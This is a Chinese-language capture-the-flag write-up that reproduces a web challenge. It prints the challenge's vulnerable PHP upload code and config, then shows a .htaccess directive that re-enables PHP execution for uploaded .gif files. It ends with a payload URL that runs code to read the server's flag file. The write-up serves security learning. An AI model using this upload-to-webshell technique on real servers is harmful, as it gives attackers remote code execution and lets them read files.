趁着官方環境還沒關,跟着WP復現一遍
官方環境:http://122.112.248.222:20003/
比賽網址:https://jinmenbei.xctf.org.cn/ad5/match/jeopardy/
這道題很有意思啊,直接把源碼和配置文件都在附件中給出了
檢查一下源碼
index.php
<?php
error_reporting(0);
session_start();
include('config.php');
$upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.html', '');
if(isset($_POST['submit'])){
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
die('upload error');
}else{
$filename=addslashes($_FILES['file']['name']);
$sql="insert into img (filename) values ('$filename')";
$conn->query($sql);
$sql="select id from img where filename='$filename'";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$id=$row["id"];
}
move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
header("Location: index.php?id=$id");
}
}
}
elseif (isset($_GET['id'])){
$id=intval($_GET['id']);
$sql="select filename from img where id=$id";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$filename=$row["filename"];
}
$img=$upload.'/'.$filename;
echo "<img src='$img'/>";
}
}
?>
config.php
<?php
$conn=mysqli_connect("localhost","root","root","shuyu");
if (mysqli_connect_error($conn))
{
echo "???? MySQL ???: " . mysqli_connect_error();
}
foreach ($_GET as $key => $value) {
$value= str_ireplace('\'','',$value);
$value= str_ireplace('"','',$value);
$value= str_ireplace('union','',$value);
$value= str_ireplace('select','',$value);
$value= str_ireplace('from','',$value);
$value= str_ireplace('or','',$value);
$_GET[$key] =$value;
}
?>
才疏學淺,未能找到合適的SQL注入點和繞過上傳的方式
就像題目給出的圖片一樣,一時語塞,陷入沉思

查看apache2.conf配置文件
有這么一段
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
php_flag engine 設置為0,會關閉該目錄和子目錄的php解析
我們可以通過上傳.htaccess文件來開啟php解析
經師傅們測試發現<file>標簽的優先級高於<directory>
<Files "*.gif"> SetHandler application/x-httpd-php php_flag engine on </Files>
之后隨意上傳一個文件后綴名為.gif的文件,就可以讓當前目錄及其子目錄下所有文件都被當做 php 解析

getshell

一定要通過嘗試確定好文件上傳的位置
一般來說flag都是和上傳文件位於同一目錄
此外,最后還需要繞過disable_funtions,使用var_dump語句獲取文件信息

成功得到flag
flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}
最終payload
http://122.112.248.222:20003/upload/a3de73ada4f3028f69f5793f5fd3c27e/1.png?code=var_dump(file_get_contents(%22/flag%22));
參考師傅們的WP:
https://mp.weixin.qq.com/s/j-M7gfVXdnxovWDiZGTihQ
https://mp.weixin.qq.com/s/7uMUoMkQyJGetdlgdvy0CQ
